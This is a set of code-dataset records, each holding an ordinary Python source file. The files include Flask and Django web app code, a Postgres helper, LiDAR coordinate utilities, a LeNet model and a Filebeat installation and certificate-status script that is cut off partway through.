artist_id).first()\n\n\ndef find_venue_by_id(venue_id):\n    return Venue.query.filter(Venue.id == venue_id).first()\n\n\n@app.errorhandler(404)\ndef not_found_error(error):\n    return render_template('errors/404.html'), 404\n\n\n@app.errorhandler(500)\ndef server_error(error):\n    return render_template('errors/500.html'), 500\n\n\nif not app.debug:\n    file_handler = FileHandler('error.log')\n    file_handler.setFormatter(\n        Formatter('%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]')\n    )\n    app.logger.setLevel(logging.INFO)\n    file_handler.setLevel(logging.INFO)\n    app.logger.addHandler(file_handler)\n    app.logger.info('errors')\n\n# ----------------------------------------------------------------------------#\n# Launch.\n# ----------------------------------------------------------------------------#\n\n# Default port:\nif __name__ == '__main__':\n    app.run()\n\n# Or specify port manually:\n'''\nif __name__ == '__main__':\n    port = int(os.environ.get('PORT', 5000))\n    app.run(host='0.0.0.0', port=port)\n'''\n", "repo_name": "alvinmarshall/Fyyur-Udacity", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 16630, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 14, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 16, "usage_type": "call"}, {"api_name": "flask_migrate.Migrate", "line_number": 17, "usage_type": "call"}, {"api_name": "flask_moment.Moment", "line_number": 18, "usage_type": "call"}, {"api_name": "dateutil.parser.parser.parse", "line_number": 83, "usage_type": "call"}, {"api_name": "dateutil.parser.parser", "line_number": 83, "usage_type": "attribute"}, {"api_name": "dateutil.parser", "line_number": 83, "usage_type": "name"}, {"api_name": "babel.dates.format_datetime", "line_number": 88, "usage_type": "call"}, {"api_name": "babel.dates", "line_number": 88, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 100, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 121, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 126, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 126, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 133, "usage_type": "call"}, {"api_name": "flask.request.form.get", "line_number": 134, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 134, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 134, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 156, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 165, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 170, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 170, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 176, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 177, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 181, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 191, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 197, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 207, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 212, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 212, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 219, "usage_type": "call"}, {"api_name": "flask.request.form.get", "line_number": 220, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 220, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 220, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 238, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 245, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 245, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 258, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 263, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 263, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 272, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 272, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 272, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 273, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 273, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 277, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 277, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 277, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 284, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 284, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 298, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 303, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 303, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 312, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 312, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 312, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 313, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 313, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 317, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 321, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 321, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 330, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 336, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 336, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 342, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 342, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 342, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 343, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 347, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 347, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 347, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 369, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 376, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 383, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 383, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 387, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 388, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 391, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 448, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 455, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 475, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 480, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 484, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 486, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 488, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 489, "usage_type": "attribute"}]}
{"seq_id": "70363348104", "text": "from __future__ import annotations\n\nfrom logging import Logger\nfrom pathlib import Path\nfrom typing import Any\n\nimport psycopg2\nfrom psycopg2 import errorcodes, errors\nfrom psycopg2.extensions import ISOLATION_LEVEL_AUTOCOMMIT\n\n\nclass Postgres:\n    def __init__(self, logger: Logger, config: Any):\n        self.logger = logger\n        self.host = config.host\n        self.port = config.port\n        self.user = config.user\n        self.password = config.password\n        self.name = config.db_name\n        self.schema = config.schema\n        self._conn = self.get_connection()\n        self._cur = self._conn.cursor()\n        self.execute_query(f'SET SEARCH_PATH TO {self.schema}')\n\n    def close_connections(self) -> None:\n        if self._conn:\n            self._conn.close()\n\n    def get_connection(self) -> Any:\n        conn = psycopg2.connect(\n            user=self.user,\n            password=self.password,\n            host=self.host,\n            port=self.port,\n            database=self.name\n        )\n        conn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT)\n        return conn\n\n    def execute_query(self, query: str) -> None:\n        self._cur.execute(query)\n\n    def execute_param_query(self, query: str, params: tuple) -> None:\n        self._cur.execute(query, params)\n\n    def execute_query_fetch_results(self, query: str, include_header: bool = False) -> list[Any]:\n        self.execute_query(query)\n        data = self._cur.fetchall()\n        if include_header:\n            data.insert(0, [x.name for x in self._cur.description])\n        return data\n\n    def create_table_if_not_exists(self, sql_stmt: str, table_name: str) -> bool:\n        table_created = False\n        try:\n            self.execute_query(sql_stmt)\n            table_created = True\n        except errors.lookup(errorcodes.DUPLICATE_TABLE):\n            self.logger.info(f'skip creating table {table_name}, it has already been created')\n\n        return table_created\n\n    def load_json_file(self, table_name: str, file: Path) -> None:\n        stmt = f\"\"\"\n            COPY {table_name} FROM STDIN CSV QUOTE e'\\\\x01' DELIMITER e'\\\\x02'\n        \"\"\"\n        with open(file, encoding=\"utf-8\") as fle:\n            self._cur.copy_expert(stmt, fle)\n", "repo_name": "petrsabatka/hw-backend-functions", "sub_path": "shared_code/postgres.py", "file_name": "postgres.py", "file_ext": "py", "file_size_in_byte": 2226, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.Logger", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 13, "usage_type": "name"}, {"api_name": "psycopg2.connect", "line_number": 30, "usage_type": "call"}, {"api_name": "psycopg2.extensions.ISOLATION_LEVEL_AUTOCOMMIT", "line_number": 37, "usage_type": "argument"}, {"api_name": "typing.Any", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 46, "usage_type": "name"}, {"api_name": "psycopg2.errors.lookup", "line_number": 58, "usage_type": "call"}, {"api_name": "psycopg2.errors", "line_number": 58, "usage_type": "name"}, {"api_name": "psycopg2.errorcodes.DUPLICATE_TABLE", "line_number": 58, "usage_type": "attribute"}, {"api_name": "psycopg2.errorcodes", "line_number": 58, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 63, "usage_type": "name"}]}
{"seq_id": "2502323499", "text": "\r\nimport numpy as np\r\nfrom scipy import io\r\nfrom math import pi, cos, sin\r\n\r\nimport csv\r\n\r\ndef pol2cart(angles, ranges):\r\n    cart = []\r\n    xs = ranges * np.cos(angles)\r\n    ys = ranges * np.sin(angles)\r\n    cart = np.array([xs,ys]).T    #N*2 array\r\n\r\n    return cart\r\n\r\n\r\ndef ReadData(data):\r\n    if data ==0:\r\n        #Deutsches Museum Data\r\n        name = \"Deutsches_Museum\"\r\n        lidar = Lidar(-2.351831,2.351831,1079)\r\n        mat_file = io.loadmat(\"horizental_lidar.mat\")\r\n        lidar_data = np.array(mat_file['ranges'])\r\n\r\n    elif data ==1:\r\n        #SNU Library Data\r\n        name = \"SNU_Library\"\r\n        lidar = Lidar(-pi,pi,898)\r\n        f = open(\"data/laser.txt\", 'r')\r\n        lines = f.readlines()\r\n        ranges = []\r\n        for line in lines:\r\n            ranges += list(map(float, line.split()))\r\n        lidar_data = np.array(ranges).reshape(-1,898)\r\n        f.close()\r\n    elif data ==2:\r\n        name = \"full_Library\"\r\n        lidar = Lidar(-pi,pi,721)\r\n        f = open(\"data/lidar_2.txt\",'r')\r\n        lines = f.readlines()\r\n        ranges = []\r\n        for line in lines:\r\n            if '[' in line:\r\n                line = line[1:]\r\n            elif ']' in line:\r\n                line = line[:-2]\r\n            ranges += list(map(float, line.split()))\r\n        lidar_data = np.array(ranges).reshape(-1,721)\r\n    else:\r\n        #Simulation Data\r\n        name = \"Simulation\"\r\n        lidar = Lidar(-pi,pi,360)\r\n        f = open(\"data/range.csv\", 'r')\r\n        rdr = csv.reader(f)\r\n        ranges = []\r\n        for line in rdr:\r\n            ranges += list(map(float,line))\r\n        lidar_data = np.array(ranges).reshape(-1,360)\r\n        f.close()\r\n    return lidar, lidar_data, name\r\n\r\nclass Lidar():\r\n    def __init__(self, angle_min, angle_max, npoints, range_min = 0.23, range_max = 60):\r\n        self.angle_min = angle_min\r\n        self.angle_max = angle_max\r\n        self.angle_increment = (angle_max-angle_min)/npoints\r\n        self.npoints = npoints\r\n        self.range_min = range_min\r\n        self.range_max = range_max\r\n        self.scan_time = 0.025\r\n        self.time_increment = 1.736112e-05\r\n        self.angles = np.arange(self.angle_min, self.angle_max, self.angle_increment)\r\n\r\n    def ReadAScan(self,lidar_data, scan_id, usableRange):\r\n        ranges = lidar_data[scan_id]\r\n\r\n        #Remove points whose range is not so trustworthy\r\n        maxRange = min(self.range_max, usableRange)\r\n        angle = self.angles[(self.range_min<ranges) & (ranges<maxRange)]\r\n        range = ranges[(self.range_min<ranges) & (ranges<maxRange)]\r\n\r\n        #Convert from polar coordinates to cartesian coordinates\r\n        scan = pol2cart(angle,range)\r\n\r\n        return scan\r\n\r\n\r\ndef v2t(pose):\r\n    # from vector to transform\r\n    tx = pose[0]\r\n    ty = pose[1]\r\n    theta = pose[2]\r\n    transform = np.array([[np.cos(theta), -np.sin(theta), tx],\r\n                          [np.sin(theta), np.cos(theta), ty],\r\n                          [0, 0, 1]])\r\n\r\n    return transform\r\n\r\ndef t2v(T):\r\n    # from transform to vector\r\n    v = np.zeros((3,))\r\n    v[:2] = T[:2,2]\r\n    v[2] = np.arctan2(T[1,0], T[0,0])\r\n    return v\r\n\r\ndef localToGlobal(pose, scan):\r\n    scanT = np.copy(scan.T)\r\n    frame = np.ones((3, scan.shape[0]))\r\n    frame[0, :] = scanT[0, :]\r\n    frame[1, :] = scanT[1, :]\r\n\r\n    transform = v2t(pose)\r\n\r\n    scan_global = np.dot(transform, frame)[:2, :] # (2, N) matrix\r\n    scan_global = scan_global.T # (N, 2) matrix\r\n\r\n    return scan_global\r\n\r\n\r\n\r\n\r\n", "repo_name": "93won/2D_LiDAR_Odom_ICP", "sub_path": "utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 3498, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 14, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.cos", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 12, "usage_type": "call"}, {"api_name": "scipy.io.loadmat", "line_number": 22, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 22, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 23, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 28, "usage_type": "argument"}, {"api_name": "numpy.array", "line_number": 34, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 38, "usage_type": "argument"}, {"api_name": "numpy.array", "line_number": 48, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 52, "usage_type": "argument"}, {"api_name": "csv.reader", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.arctan2", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 114, "usage_type": "call"}]}
{"seq_id": "35080528989", "text": "import torch\nimport torch.nn as nn\n\n\nclass LeNet_(nn.Module):\n    def __init__(self, num_classes: int = 10) -> None:\n        super().__init__()\n        self.features = nn.Sequential(\n            nn.Conv2d(1, 6, 5),\n            nn.ReLU(inplace=True),\n            nn.MaxPool2d(kernel_size=2),\n            nn.Conv2d(6, 16, 5),\n            nn.ReLU(inplace=True),\n            nn.MaxPool2d(kernel_size=2),\n        )\n        self.classifier = nn.Sequential(\n            nn.Linear(256, 120),\n            nn.ReLU(inplace=True),\n            nn.Linear(120, 84),\n            nn.ReLU(inplace=True),\n            nn.Linear(84, num_classes)\n        )\n\n    def forward(self, x: torch.Tensor) -> torch.Tensor:\n        x = self.features(x)\n        x = x.view(x.size(0), -1)\n        x = self.classifier(x)\n        return x\n\n    def _initialize_weights(self) -> None:\n        for m in self.modules():\n            if isinstance(m, nn.Conv2d):\n                nn.init.kaiming_normal_(m.weight, mode='fan_out')\n                if m.bias is not None:\n                    m.bias.data.zero_()\n\n\nif __name__ == \"__main__\":\n    net = LeNet_(10)\n    x = torch.randn(2, 1, 28, 28)\n    y = net(x)\n    import os\n    import torchviz\n    g = torchviz.make_dot(y, params=dict(list(net.named_parameters()) + [('x', x)]))\n    if not os.path.isdir(\"./graph\"):\n        os.mkdir(\"./graph\")\n    g.view(os.path.join(\"./graph/lenet.gv\"))\n", "repo_name": "Dufert/baseNetHub_Paper", "sub_path": "demo/lenet_.py", "file_name": "lenet_.py", "file_ext": "py", "file_size_in_byte": 1394, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.nn.Module", "line_number": 5, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 5, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 8, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 8, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 10, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 12, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 13, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 24, "usage_type": "attribute"}, {"api_name": "torch.nn.Conv2d", "line_number": 32, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.nn.init.kaiming_normal_", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 33, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 33, "usage_type": "name"}, {"api_name": "torch.randn", "line_number": 40, "usage_type": "call"}, {"api_name": "torchviz.make_dot", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}]}
{"seq_id": "10724042170", "text": "import time\n\nfrom flask import Flask\n\napp = Flask('http2web')\n\napp.counter = 0\n\n\n@app.route('/')\ndef index():\n    with open('index.html') as f:\n        return f.read()\n\n\n@app.route('/state')\ndef state():\n    time.sleep(1)\n    return str(app.counter)\n\n\n@app.route('/increment')\ndef increment():\n    app.counter += 1\n    return str(app.counter)\n\n\nif __name__ == '__main__':\n    app.run(debug=True, port=9000)\n", "repo_name": "b7w/webinar-http2web", "sub_path": "part4/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 407, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 5, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 18, "usage_type": "call"}]}
{"seq_id": "1809288112", "text": "from django.shortcuts import render, HttpResponse\r\nfrom django.views.generic.base import View\r\n\r\n# Create your views here.\r\nfrom pure_pagination import Paginator, PageNotAnInteger\r\n\r\nfrom operation.models import UserFavorite\r\nfrom .models import Course\r\n\r\nclass CourseListView(View):\r\n    def get(self, request):\r\n        all_courses = Course.objects.all().order_by('-add_time')\r\n\r\n        hot_courses = Course.objects.all().order_by('-click_nums')[:3]\r\n        # 排序\r\n        sort = request.GET.get('sort', '')\r\n        if sort:\r\n            if sort == 'students':\r\n                all_courses = all_courses.order_by('-students')\r\n            elif sort == 'hot':\r\n                all_courses = all_courses.order_by('-click_nums')\r\n        # 对课程进行分页\r\n        try:\r\n            page = request.GET.get('page', 1)\r\n        except PageNotAnInteger:\r\n            page = 1\r\n        p = Paginator(all_courses, 5, request=request)  # 传入所有机构对象，每一页的数量\r\n        courses = p.page(page)            #注意这里courses返回的已经不是queryset，是一个page对象。返回到前端需要加.object.list\r\n\r\n        return render(request, 'course-list.html', {\r\n            'all_courses': courses,\r\n            'sort': sort,\r\n            'hot_courses': hot_courses,\r\n        })\r\n\r\n\r\nclass CourseDetailView(View):\r\n    def get(self, request, course_id):\r\n        course = Course.objects.get(id=int(course_id))\r\n        #增加课程点击数\r\n        course.click_nums += 1\r\n        course.save()\r\n\r\n        has_fav_course = False\r\n        has_fav_org = False\r\n        if request.user.is_authenticated():\r\n            if UserFavorite.objects.filter(user=request.user, fav_id=course_id, fav_type=1):\r\n                return HttpResponse('{\"status\":\"success\", \"msg\":\"已收藏\"}', content_type='application/json')\r\n        #相关课程推荐\r\n        tag = course.tag\r\n        if tag:\r\n            relate_course = Course.objects.filter(tag=tag)[:1]\r\n        else:\r\n            relate_course = []\r\n        return render(request, 'course-detail.html', {\r\n            'course': course,\r\n            'relate_course': relate_course,\r\n        })\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n", "repo_name": "Kevenli18/MxueVideo", "sub_path": "apps/courses/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2193, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.views.generic.base.View", "line_number": 10, "usage_type": "name"}, {"api_name": "models.Course.objects.all", "line_number": 12, "usage_type": "call"}, {"api_name": "models.Course.objects", "line_number": 12, "usage_type": "attribute"}, {"api_name": "models.Course", "line_number": 12, "usage_type": "name"}, {"api_name": "models.Course.objects.all", "line_number": 14, "usage_type": "call"}, {"api_name": "models.Course.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "models.Course", "line_number": 14, "usage_type": "name"}, {"api_name": "pure_pagination.PageNotAnInteger", "line_number": 25, "usage_type": "name"}, {"api_name": "pure_pagination.Paginator", "line_number": 27, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 30, "usage_type": "call"}, {"api_name": "django.views.generic.base.View", "line_number": 37, "usage_type": "name"}, {"api_name": "models.Course.objects.get", "line_number": 39, "usage_type": "call"}, {"api_name": "models.Course.objects", "line_number": 39, "usage_type": "attribute"}, {"api_name": "models.Course", "line_number": 39, "usage_type": "name"}, {"api_name": "operation.models.UserFavorite.objects.filter", "line_number": 47, "usage_type": "call"}, {"api_name": "operation.models.UserFavorite.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "operation.models.UserFavorite", "line_number": 47, "usage_type": "name"}, {"api_name": "django.shortcuts.HttpResponse", "line_number": 48, "usage_type": "call"}, {"api_name": "models.Course.objects.filter", "line_number": 52, "usage_type": "call"}, {"api_name": "models.Course.objects", "line_number": 52, "usage_type": "attribute"}, {"api_name": "models.Course", "line_number": 52, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 55, "usage_type": "call"}]}
{"seq_id": "74584861051", "text": "import argparse\nimport traceback\nimport platform\nimport subprocess\nimport aiohttp\nimport asyncio\nimport aiofiles\nimport os\nimport shutil\nimport ipaddress\nimport tempfile\nimport zipfile\nfrom pathlib import Path\nimport psutil\nimport re\nimport hashlib\nfrom tempfile import NamedTemporaryFile\nimport yaml\nfrom cogs.handlers.mqtt import MQTTHandler\nimport datetime\n\n# if code is launched independtly\nif __name__ == \"__main__\":\n    import step_certificate\n    LOGGER = None\n    stop_event = asyncio.Event()\n    roles_database = None\nelse:\n    # if imported into honfigurator main\n    import utilities.step_certificate as step_certificate\n    from cogs.misc.logger import get_logger, set_filebeat_auth_token, get_filebeat_auth_token, set_filebeat_auth_url, set_filebeat_status, get_misc, get_filebeat_auth_url, get_home, set_mqtt, get_mqtt\n\n    from cogs.db.roles_db_connector import RolesDatabase\n    from cogs.handlers.events import stop_event\n    LOGGER = get_logger()\n    roles_database = RolesDatabase()\n    MISC = get_misc()\n\ndef print_or_log(log_lvl='info', msg=''):\n    log_lvl = log_lvl.lower()\n    if LOGGER:\n        getattr(LOGGER, log_lvl)(msg)\n    else:\n        print(msg)\n\ndef get_filebeat_path():\n    operating_system = platform.system()\n    if operating_system == \"Windows\":\n        return os.path.join(os.environ[\"ProgramFiles\"], \"filebeat\")\n    elif operating_system == \"Linux\":\n        return os.path.join(\"/\", \"usr\", \"share\", \"filebeat\")\n    else:\n        return \"Unsupported operating system\"\n\ndef get_filebeat_crt_path():\n    return os.path.join(get_filebeat_path(), \"client.crt\")\n\ndef get_filebeat_key_path():\n    return os.path.join(get_filebeat_path(), \"client.key\")\n\ndef get_filebeat_csr_path():\n    return os.path.join(get_filebeat_path(), \"client.csr\")\n\ndef calculate_file_hash(file_path):\n    with open(file_path, \"rb\") as file:\n        hash_object = hashlib.sha256()\n        for chunk in iter(lambda: file.read(4096), b\"\"):\n            hash_object.update(chunk)\n    return hash_object.hexdigest()\n\ndef read_admin_value_from_filebeat_config(config_path):\n    admin_value = None\n    with open(config_path) as file:\n        config_data = file.read()\n        match = re.search(r\"Admin:\\s*([^\\n]+)\", config_data)\n        if match:\n            admin_value = match.group(1).strip()\n    return admin_value\n\nasync def filebeat_status():\n    if LOGGER: # pass the reference through\n        step_certificate.set_logger(LOGGER)\n\n    installed = check_filebeat_installed()\n    certificate_exists = check_certificate_exists(get_filebeat_crt_path(), get_filebeat_key_path())\n    certificate_status = 'non-existent'\n    certificate_valid = False\n    certificate_expired = False\n    certificate_expiry = None\n    timezone_offset = datetime.datetime.now(datetime.timezone.utc).astimezone().strftime('%z')\n    timezone_offset = timezone_offset[:-2] + ':' + timezone_offset[-2:]\n\n    if certificate_exists:\n        valid_to = step_certificate.get_certificate_valid_to(get_filebeat_crt_path())\n        certificate_expiry = str(valid_to)\n        if step_certificate.is_certificate_expired(get_filebeat_crt_path()):\n            certificate_status = f\"expired ({valid_to})\"\n            certificate_expired = True\n        elif step_certificate.is_certificate_expiring(get_filebeat_crt_path()):\n            certificate_status = f\"expiring soon ({valid_to})\"\n            certificate_valid = True\n        else:\n            certificate_status = f\"valid (until {valid_to})\"\n            certificate_valid = True\n\n    filebeat_running = False\n    if MISC.get_proc('filebeat') or MISC.get_proc('filebeat.exe'):\n        filebeat_running = True\n\n    status_dict = {\n        \"installed\": installed,\n        \"running\": filebeat_running,\n        \"certificate_exists\": certificate_exists,\n        \"certificate_valid\": certificate_valid,\n        \"certificate_expired\": certificate_expired,\n        \"certificate_expiry\": certificate_expiry,\n        \"certificate_status\": certificate_status,\n        \"timezone\": timezone_offset,\n        \"pending_oauth_url\": True if get_filebeat_auth_url() else False\n    }\n\n    set_filebeat_status(status_dict)\n\n    return status_dict\n\noperating_system = platform.system()\nglobal_config = None\n\nif operating_system == \"Windows\":\n    windows_filebeat_install_dir = os.path.join(os.environ[\"ProgramFiles\"], \"FileBeat\")\n\ndef check_filebeat_installed():\n    if operating_system == \"Linux\":\n        # Check if filebeat is already installed\n        result = subprocess.run([\"dpkg-query\", \"-W\", \"-f='${Status}'\", \"filebeat\"], stdout=subprocess.PIPE, text=True)\n        if \"install ok installed\" in result.stdout:\n            print_or_log('debug',\"Filebeat is already installed. Skipping installation.\")\n            return True\n    else:\n        if os.path.exists(Path(windows_filebeat_install_dir) / \"filebeat.exe\"):\n            print_or_log('debug',\"Filebeat is already installed. Skipping installation.\")\n            return True\n\n\ndef is_elastic_source_added():\n    # Check if the Elastic source is already added to the apt sources list\n    check_sources_command = [\"grep\", \"-q\", \"artifacts.elastic.co\", \"/etc/apt/sources.list\"]\n    result = subprocess.run(check_sources_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n    return result.returncode == 0\n\nasync def install_filebeat_linux():\n    # Download and install the Public Signing Key:\n    wget_command = [\"wget\", \"-qO\", \"-\", \"https://artifacts.elastic.co/GPG-KEY-elasticsearch\"]\n    apt_key_command = [\"sudo\", \"apt-key\", \"add\", \"-\"]\n\n    wget_proc = subprocess.Popen(wget_command, stdout=subprocess.PIPE)\n    subprocess.run(apt_key_command, stdin=wget_proc.stdout, check=True)\n    wget_proc.stdout.close()  # Allow wget_proc to receive a SIGPIPE if apt-key exits.\n\n    # Check if the Elastic source is already added before adding it\n    if not is_elastic_source_added():\n        # Save the repository definition to /etc/apt/sources.list.d/elastic-8.x.list:\n        with open('/etc/apt/sources.list.d/elastic-8.x.list', 'a') as f:\n         